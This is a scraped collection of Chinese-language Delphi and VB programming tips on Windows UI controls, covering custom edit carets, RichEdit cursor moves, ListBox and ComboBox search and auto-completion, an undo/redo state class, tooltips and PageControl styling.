TForm1 = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

Image1: TImage;

procedure Edit1Enter(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure newcaret(var msg:Tmessage);message wm_newcaret;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Edit1Enter(Sender: TObject);

begin

postmessage(handle,wm_newcaret,0,0);

end;

procedure TForm1.newcaret(var msg: Tmessage);

begin

edit1.setfocus;

CreateCaret(edit1.Handle,image1.Picture.Bitmap.Handle,edit1.width,edit1.height);

showcaret(edit1.handle);

end;

end.

//利用onenter事件，用postmessage发出一个自定义消息

//在自定义消息中,用sendmessage强制setfocus后，再createcaret就可以了

Edit收到焦点时，光标是变了，但一旦我键入字符，光标又变回原样。我想知道如何在编辑文字时，光标一直不变（自定义的）

只要响应application.onactivate事件可以了

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls, AppEvnts;

const

wm_newcaret=wm_user+1;

type

TForm1 = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

Image1: TImage;

ApplicationEvents1: TApplicationEvents;

procedure Edit1Enter(Sender: TObject);

procedure ApplicationEvents1Activate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure newcaret(var msg:Tmessage);message wm_newcaret;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Edit1Enter(Sender: TObject);

begin

postmessage(handle,wm_newcaret,0,0);

end;

procedure TForm1.newcaret(var msg: Tmessage);

begin

edit1.setfocus;

CreateCaret(edit1.Handle,image1.Picture.Bitmap.Handle,edit1.width,edit1.height);

showcaret(edit1.handle);

end;

procedure TForm1.ApplicationEvents1Activate(Sender: TObject);

begin

CreateCaret(edit1.Handle,image1.Picture.Bitmap.Handle,edit1.width,edit1.height);

showcaret(edit1.handle);

end;

end.

**********************

unit unit1;

interface

{$IFDEF WIN32}

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

{$ELSE}

uses

WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics,

Controls, Forms, Dialogs, StdCtrls;

{$ENDIF}

type

TForm1 = class(TForm)

Edit1: TEdit;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

CaretBm: TBitmap;

CaretBmBk: TBitmap;

OldEditsWindowProc: Pointer;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

type

{$IFDEF WIN32}

WParameter = LongInt;

{$ELSE}

WParameter = Word;

{$ENDIF}

LParameter = LongInt;

{New windows procedure for the edit control}

function NewWindowProc(WindowHandle: hWnd;

TheMessage: WParameter;

ParamW: WParameter;

ParamL: LParameter): LongInt

{$IFDEF WIN32}stdcall; {$ELSE}; export; {$ENDIF}

begin

{Call the old edit controls windows procedure}

NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc,

WindowHandle,

TheMessage,

ParamW,

ParamL);

if TheMessage = WM_SETFOCUS then begin

CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);

ShowCaret(WindowHandle);

end;

if TheMessage = WM_KILLFOCUS then begin

HideCaret(WindowHandle);

DestroyCaret;

end;

if TheMessage = WM_KEYDOWN then begin

if ParamW = VK_BACK then

CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0) else

CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);

ShowCaret(WindowHandle);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

{Create a smiling bitmap using the wingdings font}

CaretBm := TBitmap.Create;

CaretBm.Canvas.Font.Name := 'WingDings';

CaretBm.Canvas.Font.Height := Edit1.Font.Height;

CaretBm.Canvas.Font.Color := clWhite;

CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;

CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;

CaretBm.Canvas.Brush.Color := clBlue;

CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height));

CaretBm.Canvas.TextOut(1, 1, 'J');

{Create a frowming bitmap using the wingdings font}

CaretBmBk := TBitmap.Create;

CaretBmBk.Canvas.Font.Name := 'WingDings';

CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;

CaretBmBk.Canvas.Font.Color := clWhite;

CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;

CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;

CaretBmBk.Canvas.Brush.Color := clBlue;

CaretBmBk.Canvas.FillRect(Rect(0, 0, CaretBmBk.Width, CaretBmBk.Height));

CaretBmBk.Canvas.TextOut(1, 1, 'L');

{Hook the edit controls window procedure}

OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle, GWL_WNDPROC, LongInt(@NewWindowProc)));

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

{Unhook the edit controls window procedure and clean up}

SetWindowLong(Edit1.Handle, GWL_WNDPROC, LongInt(OldEditsWindowProc));

CaretBm.Free;

CaretBmBk.Free;

end;

end.


移动光标到指定行列

RichEdit1.SelStart := SendMessage(RichEdit1.Handle, EM_LINEINDEX, 19, 0);

RichEdit1.Perform(EM_SCROLLCARET, 0, 0);

*********************

///Kingron，我所能找到的最简单的方法:

移动光标到指定行列：

SendMessage(Richedit.handle,EM_LINEINDEX,NLine,0);

Richedit.SelStart:=RichEdit.SelStart+NCol;


如何吃掉Ctrl+Enter？

如何吃掉Ctrl+Enter？

我有一个RichEdit，我想控制其中的换行，我可以在KeyUp/KeyDown/KeyPress中处理

if Key=#13 then

Key:=#0

但是，但是........居然，用户可以按Ctrl+Enter输入换行！而且上面的代码没有任何作用！！极度晕倒中！Kingron继承了RicheEdit/Memo，重载了wndproc，处理wm_KeyDown消息，如果是ctrl+Enter的话，就过滤掉！可以还是不能够拦截，用户一样可以用Ctrl+Enter换行！

//faint一万次！

最后被我找到一个方法：用Action来做！我猜想用RegisterHotKey()注册一个系统热键Ctrl+Enter可能也可以（没有测试）！用Action来做的方法如下：在窗体上面放一个ActionList，然后New一个Action，在Action的Execute中输入 //，：），什么都不做，但是在Execute的begin和end中间不能为空，否则~~~~~~~~：（，最重要的一点：设置这个Action的ShortCut为Ctrl+Enter，在下拉框里面你找不到，不过没有关系，你手工输入即可！：），问题终于完美解决！！！手工。


Memo,RichEdit的边界

一般地，文字和编辑框的边界是靠都比较拢的，如果希望边界宽一点儿，可以使用下面的代码：

procedure TForm1.Button1Click(Sender: TObject);

const

BORDER_WIDTH = 20;

var

Rect: TRect;

begin

SendMessage(Memo1.Handle, EM_GETRECT, 0, Longint(@Rect));

Rect.Top := BORDER_WIDTH;

Rect.Left := BORDER_WIDTH;

Rect.Right := Memo1.Width - BORDER_WIDTH;

Rect.Bottom := Memo1.Height - BORDER_WIDTH;

SendMessage(Memo1.Handle, EM_SETRECT, 0, Longint(@Rect));

Memo1.Refresh;

end;


通过保存状态完成撤消-重做功能

通过保存状态完成撤消-重做功能

你需要在应用程序中执行撤消-重做操作吗？这里有一个简单的方法，它对占用20-100K内存的小数据量十分有效。

原著: William Egge

公司: Eggcentric 参考资料: http://www.eggcentric.com/UndoRedoState.htm

回答:

构件下载：

UndoRedoState.zip

通过状态方式完成撤消-重做功能。

据我所知，存在两种撤消-重做的方法。第一种是将当前系统的状态在它被修改前保存到一个列表中。在你的编辑器中可能会有 GetState 和 SetState 方法。第二种方法即是保存命令，每个命令都可以被撤消和重做。

当你的编辑器有许多功能但编辑的数据比较少如10-20K时，采用保存状态的方式比较好，更简捷。当你编辑一个图像时，你可能将撤消和重做的信息保存在一个文件中，这时最好采用向量图的方式，因为这样更节约空间。

当你编辑大量数据时，采用保存命令的复杂方式就有必要了，尽管这样对编码要求更高，因为如果用保存状态的方式就会消耗大量的时间。

我自己编写了一个撤消-重做状态的类，主类（TUndoRedoState）中保持状态的快照,在"IState"接口中有两个方法：GetState和SetState。我在编辑器的实现代码中实现了这个接口。

给主类的构造函数中传送IState接口。调用撤消和重做将调用GetState和SetState函数。如果你不喜欢使用接口，也可以采用方法指针来修改代码以获取GetState和SetState方法。

用法示例:

TMyForm = class(TForm, IState)

procedure FormCreate(Sender: TObject);

private

FUndoRedo: TUndoRedoState;

procedure GetState(S: TStream);

procedure SetState(S: TStream);

end;

=====

procedure TMyForm.FormCreate(Sender: TObject);

begin

FUndoRedo:= TUndoRedoState.Create(Self);

end;

....

然后你就可以在你的代码中调用 FUndoRedo.BeginModify 和 EndModify;

你也可以添加一对方法如 CanUndo 和 CanRedo 以便决定是否允许撤消、重做按钮.

Happy coding!

Download the source from the url.

Full Source:

2 units:

===============================

unit _State;

interface

uses

Classes;

type

IState = interface

procedure GetState(S: TStream);

procedure SetState(S: TStream);

end;

implementation

end.

============================

unit UndoRedoState;

interface

uses

_State, Classes, SysUtils;

// A value of 0 for MaxMemoryUsage means unlimited (default).

type

TUndoRedoState = class

private

FState: IState;

FUndoRedoList: TList;

FModifyCount: Integer;

FUndoPos: Integer;

FTailState: TStream;

FMaxMemoryUsage: LongWord;

FCurrMemUsage: LongWord;

function CreateCurrentState: TStream;

procedure SetMaxMemoryUsage(const Value: LongWord);

procedure TruncToMem;

public

constructor Create(AState: IState);

property MaxMemoryUsage: LongWord read FMaxMemoryUsage write SetMaxMemoryUsage;

procedure BeginModify;

procedure EndModify;

procedure Undo;

procedure Redo;

destructor Destroy; override;

end;

implementation

{ TUndoRedoState }

procedure TUndoRedoState.BeginModify;

var

I: Integer;

S: TStream;

begin

Inc(FModifyCount);

if FModifyCount = 1 then

begin

for I:= FUndoRedoList.Count-1 downto FUndoPos+1 do

begin

S:= FUndoRedoList[I];

Dec(FCurrMemUsage, S.Size);

FUndoRedoList.Delete(I);

S.Free;

end;

S:= CreateCurrentState;

Inc(FCurrMemUsage, S.Size);

FUndoRedoList.Add(S);

FUndoPos:= FUndoRedoList.Count-1;

if FTailState <> nil then

begin

Dec(FCurrMemUsage, FTailState.Size);

FreeAndNil(FTailState);

end;

TruncToMem;

end;

end;

constructor TUndoRedoState.Create(AState: IState);

begin

Assert(AState <> nil, 'AState should not be nil for '

+'"TUndoRedoState.Create(AState: IState)"');

inherited Create;

FState:= AState;

FUndoRedoList:= TList.Create;

FUndoPos:= -1;

end;

function TUndoRedoState.CreateCurrentState: TStream;

begin

Result:= TMemoryStream.Create;

try

FState.GetState(Result);

except

Result.Free;

raise;

end;

end;

destructor TUndoRedoState.Destroy;

var

I: Integer;

begin

FState:= nil;

for I:= 0 to FUndoRedoList.Count-1 do

TObject(FUndoRedoList[I]).Free;

FTailState.Free;

inherited Destroy;

end;

procedure TUndoRedoState.EndModify;

begin

Assert(FModifyCount > 0, 'TUndoRedoState.EndModify: EndModify was called '

+'more times than BeginModify');

Dec(FModifyCount);

end;

procedure TUndoRedoState.Redo;

var

FRedoPos: Integer;

begin

Assert(FModifyCount=0, 'TUndoRedoState.Redo: should not be called while '

+'modifying');

if (FUndoRedoList.Count > 0) and (FUndoPos < (FUndoRedoList.Count-1)) then

begin

FRedoPos:= FUndoPos+2;

if FRedoPos > (FUndoRedoList.Count-1) then

begin

FState.SetState(FTailState);

Dec(FCurrMemUsage, FTailState.Size);

FreeAndNil(FTailState);

end

else

FState.SetState(FUndoRedoList[FRedoPos]);

Inc(FUndoPos);

end;

end;

procedure TUndoRedoState.SetMaxMemoryUsage(const Value: LongWord);

begin

FMaxMemoryUsage := Value;

end;

procedure TUndoRedoState.TruncToMem;

var

S: TStream;

begin

if (FMaxMemoryUsage > 0) and (FCurrMemUsage > FMaxMemoryUsage) then

begin

while (FUndoRedoList.Count > 0) and (FCurrMemUsage > FMaxMemoryUsage) do

begin

S:= FUndoRedoList[0];

FUndoRedoList.Delete(0);

Dec(FCurrMemUsage, S.Size);

Dec(FUndoPos);

end;

if (FUndoRedoList.Count = 0) and (FCurrMemUsage > FMaxMemoryUsage) then

if FTailState <> nil then

begin

Dec(FCurrMemUsage, FTailState.Size);

FreeAndNil(FTailState);

end;

end;

end;

procedure TUndoRedoState.Undo;

var

S: TStream;

begin

Assert(FModifyCount=0, 'TUndoRedoState.Undo: should not be called while '

+'modifying');

if FUndoPos >= 0 then

begin

if FUndoPos = (FUndoRedoList.Count-1) then

begin

FTailState:= CreateCurrentState;

Inc(FCurrMemUsage, FTailState.Size);

end;

S:= FUndoRedoList[FUndoPos];

Dec(FUndoPos);

FState.SetState(S);

TruncToMem;

end;

end;

end.


Listbox 的模糊查询

我在以前看到一篇关于用SendMessage API函数实现的在 ListBox 里实现的快速

:

: 查询，就象是金山词霸的那种。

: 我现在把这个资料丢失了，而且我当时做的试验也没有保留下来。

: .......

Private Sub Text1_Change()

Dim Search As String, Index As Long

Search=Text1.Text

If Len(Search)>0 Then

Index=SendMessage(List1.hwnd,LB_SELECTSTRING,-1,ByVal Search)

Else

List1.ListIndex=0

End If

End Sub

其中第3个参数表示从头找起，如果要从第N项找起，就设为N-1

这样也会自动选取找到的项，如果不想自动选取，把第2个参数改成LB_FINDSTRI

NG


鼠标下的ListBox Item

有一个消息：LB_ITEMFROMPOINT =$1A9，

只要给ListBox发送这个消息即可，即可返回当前鼠标所在的ItemIndex，然后就可以Get到Text了。


ListBox的多选

一次将多个选择加入另外一个Listbox：

procedure TForm_Department_Staff.Button_AddClick(Sender: TObject);

var

Iitemno,Ino: Integer;

begin

Iitemno:=0;

with ListBox1 do

for Ino:=0 to Items.Count-1 do

begin

if Selected[Ino] then

begin

Iitemno:=Ino;

Break;

end;

end;

with ListBox1 do

begin

ListBox2.Items.Clear;

for Ino:=Iitemno to Iitemno+(ListBox1.SelCount-1) do

begin

ListBox2.Items.Add(Items[Ino]);

end;

end;

end;


listbox的拖动操作

给你一个例子

比如窗体上有两个Listbox，下面将Listbox2中的项目拖到ListBox1中

将两个Listbox的DragMode属性设为dmAutomatic.

拖放经过事件

procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;

State: TDragState; var Accept: Boolean);

begin

if TListBox(Source)=ListBox2 then

Accept:=true;

end;

//拖放落下事件

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);

begin

ListBox1.Items.Add(Listbox2.Items[ListBox2.ItemIndex]);

end;


ComBoBox的下拉

要用程序控制ComBoBox的下拉，代码如下：

//显示

sendmessage(combobox.handle,CB_SHOWDROPDOWN,1,0);

//隐藏

sendmessage(combobox.handle,CB_SHOWDROPDOWN,0,0);

如果要判断一个Combobox是否正在显示下拉列表，代码如下：

if GetWindowLong(combobox.handle,gwl_style) and cbs_dropdown=cbs_dropdown then ....


COMCOBOX下拉水平宽度

use CB_SETDROPPEDWIDTH

Like:

procedrue Tform1.FormShow(Sender : Tobjects)

begin

comboBox1.Perform(CB_SETDROPPEDWIDTH, 100, 0);

end;

procedure TForm1.ComboBox1DropDown(Sender: TObject);

var

I: Integer;

vMaxWidth: Integer;

begin

vMaxWidth := TComboBox(Sender).Width;

for I := 0 to TComboBox(Sender).Items.Count - 1 do

vMaxWidth := Max(vMaxWidth,

TComboBox(Sender).Canvas.TextWidth(TComboBox(Sender).Items[I]) + 8);

TComboBox(Sender).Perform(CB_SETDROPPEDWIDTH, vMaxWidth, 0);

end;


类似IE地址栏的自动完成的效果

unit CompletingComboBox;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TCompletingComboBox = class(TComboBox)

private

FTextCompletion: Boolean;

function GetTextCompletion: Boolean;

procedure SetTextCompletion(const Value: Boolean);

protected

// override the WndProc() so that we can trap KeyUp events.

procedure ComboWndProc(var Message: TMessage; ComboWnd: HWnd;

ComboProc: Pointer); override;

public

{ Public declarations }

published

property TextCompletion: Boolean read GetTextCompletion write SetTextCompletion;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Standard', [TCompletingComboBox]);

end;

{ TCompletingComboBox }

function TCompletingComboBox.GetTextCompletion: Boolean;

begin

Result := fTextCompletion;

end;

procedure TCompletingComboBox.SetTextCompletion(const Value: Boolean);

begin

fTextCompletion := Value;

end;

procedure TCompletingComboBox.ComboWndProc(var Message: TMessage; ComboWnd: HWnd;

ComboProc: Pointer);

var

rc, len: Integer;

begin

inherited;

case Message.Msg of

WM_KEYUP:

begin

// test to see if its a character that should not be processed.

if (Message.WParam <> 8) and (Message.WParam <> VK_DELETE) and

(Message.WParam <> VK_SHIFT) and (FTextCompletion = True) then

begin

// Use CB_FINDSTRING to locate the string in the Items property

rc := Perform(CB_FINDSTRING, -1, Integer(PChar(Caption)));

// if its in there then add the new string to the Text and

// select the portion that wasn't typed in by the user

if rc <> CB_ERR then

begin

// store the length of the current string

len := Length(Text);

// set the new string

ItemIndex := rc;

// highlight the rest of the text that was added.

SelStart := len;

SelLength := Length(Text) - len;

// return 0 to signify that the message has been handled.

Message.Result := 0;

end;

end;

end;

end; // case

end;

end.

*************************

Combobox的自动完成

在Combobox的OnChange或者Key事件中，写如下代码，注意，没有处理删除的情况，请自己完成。

procedure TForm1.ComboBox1Change(Sender: TObject);

var

a:integer;

Old:string;

begin

a:=-1;

Old :=ComboBox1.Text;

sendmessage(combobox1.handle,CB_SHOWDROPDOWN,1,0);

a:=SendMessage(ComboBox1.Handle, CB_SELECTSTRING,integer(@a),integer(pchar(ComboBox1.Text)));

ComboBox1.SelStart:=Length(Old);

ComboBox1.SelLength:=Length(ComboBox1.Text)-Length(Old);

ComboBox1.ItemIndex:=a;

end;

***********

unit unit1

....

private

selectitem : boolean;

....

procedure TForm1.ComboBox1Change(Sender: TObject);

var

sinput, sselected : string;

i, j : integer;

begin

j := 0;

if not selectitem then

begin

selectitem := true;

exit;

end;

sinput := copy(combobox1.text, 1, combobox1.SelStart);

for i := 0 to combobox1.items.count - 1 do

if copy(combobox1.items[i], 1, length(sinput)) = sinput then

begin

if j = 0 then sselected := combobox1.items[i];

j := j + 1;

end;

if j > 0 then combobox1.Text := sselected

else combobox1.Text := sinput;

combobox1.SelStart := length(sinput);

combobox1.SelLength := length(combobox1.text) - length(sinput);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

application.Terminate

end;

procedure TForm1.ComboBox1KeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

if key = 8 then selectitem := false;

end;

procedure TForm1.FormShow(Sender: TObject);

begin

selectitem := true;

end;

end.


设置CheckBox而不激发Click事件

选择复选按钮不激发OnClick

procedure CheckNoClick(CB: TCheckBox; CheckIt: Boolean);

begin

CB.Perform(BM_SETCHECK, Ord(CheckIt), 0);

end;

Using this procedure, the code for checking a TComboBox

called ComboBox1 looks like this:

CheckNoClick(ComboBox1, True);


ListBox的In-Place提示

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, CommCtrl;

type

//Override TListBox's WinProc to get CM_MOUSELEAVE message

TNewListBox = class(TListBox)

protected

{ Protected declarations }

procedure WndProc(var Message: TMessage); override;

end;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

ListBox1: TListBox;

procedure FormCreate(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

GHWND: HWND;

TipVisable: Boolean;

OldIndex, CurrentIndex: Integer;

ti: TOOLINFO;

procedure InitListBox; //Create ListBox1 dynamically

procedure CreateTipsWindow; //Create Tooltip Window

procedure HideTipsWindow; //Hide Tooltip Window

//WM_NOTIFY message's handler, fill Tooltip Window content

procedure WMNotify(var Msg: TMessage); message WM_NOTIFY;

procedure ListBox_MouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

procedure ListBox_MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

{ TNewListBox }

procedure TNewListBox.WndProc(var Message: TMessage);

begin

case Message.Msg of

CM_MOUSELEAVE: Form1.HideTipsWindow;

end;

inherited WndProc(Message);

end;

{ TForm1 }

procedure TForm1.InitListBox;

begin

ListBox1 := TNewListBox.Create(Self);

ListBox1.Parent := Self;

ListBox1.Left := 50;

ListBox1.Top := 50;

ListBox1.Width := 200;

ListBox1.Height := 200;

//append serveral items for testing

ListBox1.Items.Append('happyjoe');

ListBox1.Items.Append('Please send me email: happyjoe@21cn.com');

ListBox1.Items.Append('Delphi 5 Developer''s Guide');

ListBox1.Items.Append('Delphi 5.X ADO/MTS/COM+ Advanced Development');

ListBox1.OnMouseMove := ListBox_MouseMove;

ListBox1.OnMouseDown := ListBox_MouseDown;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Self.Font.Name := 'Tahoma';

InitListBox;

CreateTipsWindow;

end;

procedure TForm1.CreateTipsWindow;

var

iccex: tagINITCOMMONCONTROLSEX;

begin

// Load the ToolTip class from the DLL.

iccex.dwSize := SizeOf(tagINITCOMMONCONTROLSEX);

iccex.dwICC := ICC_BAR_CLASSES;

InitCommonControlsEx(iccex);

// Create the ToolTip control.

GHWND := CreateWindow(TOOLTIPS_CLASS, '',

WS_POPUP,

Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),

Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),

0, 0, hInstance,

nil);

// Prepare TOOLINFO structure for use as tracking ToolTip.

ti.cbSize := SizeOf(ti);

ti.uFlags := TTF_IDISHWND + TTF_TRACK + TTF_ABSOLUTE + TTF_TRANSPARENT;

ti.hwnd := Self.Handle;

ti.uId := ListBox1.Handle;

ti.hinst := hInstance;

ti.lpszText := LPSTR_TEXTCALLBACK;

ti.Rect.Left := 0;

ti.Rect.Top := 0;

ti.Rect.Bottom := 0;

ti.Rect.Right := 0;

SendMessage(GHWND, WM_SETFONT, ListBox1.Font.Handle, Integer(LongBool(False)));

SendMessage(GHWND,TTM_ADDTOOL,0,Integer(@ti));

end;

procedure TForm1.WMNotify(var Msg: TMessage);

var

phd: PHDNotify;

NMTTDISPINFO: PNMTTDispInfo;

begin

phd := PHDNotify(Msg.lParam);

if phd.Hdr.hwndFrom = GHWND then

begin

if phd.Hdr.Code = TTN_NEEDTEXT then

begin

NMTTDISPINFO := PNMTTDispInfo(phd);

NMTTDISPINFO.lpszText := PChar(ListBox1.Items[CurrentIndex]);

end;

end;

end;

procedure TForm1.ListBox_MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

if TipVisable then //when mouse down, hide Tooltip Window

begin

SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);

TipVisable := False;

end;

end;

procedure TForm1.ListBox_MouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

var

Index: Integer;

APoint: TPoint;

ARect: TRect;

ScreenRect: TRect;

begin

Index := ListBox1.ItemAtPos(Point(X, Y), true);

if Index = -1 then

begin

SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);

OldIndex := -1;

TipVisable := False;

Exit;

end;

CurrentIndex := Index;

if Index = OldIndex then Exit;

if TipVisable then

begin

SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);

OldIndex := -1;

TipVisable := False;

end else

begin

ARect := ListBox1.ItemRect(Index);

if (ARect.Right - ARect.Left - 2) >= ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) then

begin

OldIndex := -1;

Exit;

end;

APoint := ListBox1.ClientToScreen(ARect.TopLeft);

windows.GetClientRect(GetDesktopWindow, ScreenRect);

if ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) + APoint.X > ScreenRect.Right then

APoint.X := ScreenRect.Right - ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) - 5;

SendMessage(GHWND,

TTM_TRACKPOSITION,

0,

MAKELPARAM(APoint.x - 1, APoint.y - 2));

SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(True)), Integer(@ti));

OldIndex := Index;

TipVisable := True;

end;

end;

procedure TForm1.HideTipsWindow;

begin

if TipVisable then

begin

SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);

OldIndex := -1;

TipVisable := False;

end;

end;

// Test it:

procedure TForm1.Button2Click(Sender: TObject);

begin

InitListBox;

CreateTipsWindow;

end;

end.


ListBox的...功能

如何做出下面的效果？

就是一行文本显示不下来的时候，后面用...代替？

解答：使用OwnerDraw功能：设置ListBox的Style为OwnerDraw，然后在DrawItem里面写代码：

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState);

var

s:string;

begin

s:=(Control as TListbox).Items[Index];

ListBox1.Canvas.FrameRect(RECT);

DrawTextEx((Control as TListbox).Canvas.Handle,pchar(s),length(s),Rect,DT_END_ELLIPSIS,Nil);

end;


TPageControl的问题

小菜我用TPageControl做一个象系统菜单Tool->Environment Options的界面, (设属性ultiLine := True), 发现点击第二排的TabControl时，发现第一排的TabControl居然跑到下面去了.

第一排的TabControl不是跑到下面，而是到第二排的后面去，本人就想要那样的效果.

Scrollopposite属性请设为False


动态加减pagecontrol的页数

动态添加：

tabsheet2:=ttabsheet.Create(self);

tabsheet2.Caption:='fkjsd';

tabsheet2.PageControl:=pagecontrol1;

删除：

tabsheet1.PageControl:=nil;


PageControl的颜色

change the color of a TPageControls?

Author：Peter Below

type

TTabSheet = class(ComCtrls.TTabSheet)

private

FColor: TColor;

procedure SetColor(Value: TColor);

procedure WMEraseBkGnd(var Msg: TWMEraseBkGnd);

message WM_ERASEBKGND;

public

constructor Create(aOwner: TComponent); override;

property Color: TColor read FColor write SetColor;

end;

{...}

implementation

{...}

constructor TTabSheet.Create(aOwner: TComponent);

begin

inherited;

FColor := clBtnFace;

end;

procedure TTabSheet.SetColor(Value: TColor);

begin

if FColor Value then

begin

FColor := Value;

Invalidate;

end;

end;

procedure TTabSheet.WMEraseBkGnd(var Msg: TWMEraseBkGnd);

begin

if FColor = clBtnFace then

inherited

else

begin

Brush.Color := FColor;

Windows.FillRect(Msg.dc, ClientRect, Brush.Handle);

Msg.Result := 1;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Tabsheet1.Color := clWhite;

TabSheet2.Color := clLime;

end;

// PageControl1.OwnerDraw := true !

procedure TForm1.PageControl1DrawTab(Control: TCustomTabControl;

TabIndex: Integer; const Rect: TRect; Active: Boolean);

var

AText: string;

APoint: TPoint;

begin

with (Control as TPageControl).Canvas do

begin

Brush.Color := clred;

FillRect(Rect);

AText := TPageControl(Control).Pages[TabIndex].Caption;

with Control.Canvas do

begin

APoint.x := (Rect.Right - Rect.Left) div 2 - TextWidth(AText) div 2;

APoint.y := (Rect.Bottom - Rect.Top) div 2 - TextHeight(AText) div 2;

TextRect(Rect, Rect.Left + APoint.x, Rect.Top + APoint.y, AText);

end;

end;

end;


RadioGroup的效果

如何实现下面的类似的RadioGroup的效果？

{

Die Eigenschaft Controls f¨1 hrt alle untergeordneten Komponenten eines Steuerelements

(Hier z.B TRadioGroup) auf.

Controls ist hilfreich, wenn auf die untergeordneten Steuerelemente mit einer Zahl und

nicht mit ihrem Namen Bezug genommen werden soll.

So kann Controls beispielsweise verwendet werden, um in einer TRadioGroup Eigenschaften

der RadioButtons zu manipulieren (Hints anzeigen, verstecken,...)

}

{

The property Controls lists all child controls of a Control.(Here a TRadioGroup)

Controls is an array of all the child controls.

The Controls property is convenient for referring to the children of a control

by number rather than name.

For example, Controls may be used to change properties of the Radiobuttons in a

TRadioGroup (showing hints, hiding items,...)

}

{1. *******************************************************}

// Deactivates/activates a specified item of a TRadioGroup

// Deaktiviert/aktiviert in einer TRadioGroup ein bestimmtes Item

procedure RGB_EnableItem(RadioGroup: TRadioGroup; ItemIndex: Byte; bEnabled: Boolean);

begin

RadioGroup.Controls[ItemIndex].Enabled := bEnabled;

end;

// Example: Deactivates the 2. Item (Index starts at 0)

// Beispiel: 2. Item deaktivieren (Index beginnt bei 0)

procedure TForm1.Button1Click(Sender: TObject);

begin

RGB_EnableItem(RadioGroup1, 1, False);

end;

{2. *******************************************************}

// Hides/Shows a specified item of a TRadioGroup

// Versteckt oder zeigt ein bestimmtes Item in einer TRadioGroup an.

procedure RGB_ShowItem(RadioGroup: TRadioGroup; ItemIndex: Byte; bVisible: Boolean);

begin

RadioGroup.Controls[ItemIndex].Visible := bVisible;

end;

// Example: Hides the 2. Item (Index starts at 0)

// Beispiel: 2. Item verstecken (Index beginnt bei 0)

procedure TForm1.Button2Click(Sender: TObject);

begin

RGB_ShowItem(RadioGroup1, 1, False);

end;

{3. *******************************************************}

// Show Hints for TRadioGroup items

// Hints f¨1 r die Items in der TRadioGroup anzeigen

procedure TForm1.Button3Click(Sender: TObject);

var

i: Byte;

begin

for i := 0 to RadioGroup1.ControlCount - 1 do

begin

RadioGroup1.Controls[i].ShowHint := True;

RadioGroup1.Controls[i].Hint := (Radiogroup1.Controls[i] as TRadiobutton).Caption;

end;

end;

{4. *******************************************************}

// Focus a specified Radiobutton in a TRadioGroup

// Ein bestimmter Radiobutton einer TRadioGroup fokussieren

procedure RGB_FocusItem(RadioGroup: TRadioGroup; ItemIndex: Byte);

var

RadiogroupClick: TNotifyEvent;

begin

if ItemIndex >= 0 then

begin

RadioGroup.OnClick := nil;

(RadioGroup.Controls[1] as TRadiobutton).SetFocus;

RadioGroup.OnClick := RadiogroupClick;

end;

end;

// Example: Focus the 2. Radiobutton

// Beispiel: Den 2. Radiobutton fokussieren

procedure TForm1.Button4Click(Sender: TObject);

begin

RGB_FocusItem(RadioGroup1, 1);

end;


Create a Scroll Box with Bitmap Background

It's simple to create it.

1. Create a new object inherits from TScrollBox

2. We need two variables,

TBitmap variable to save bitmap

TCanvas variable to draw bitmap on scrollbox

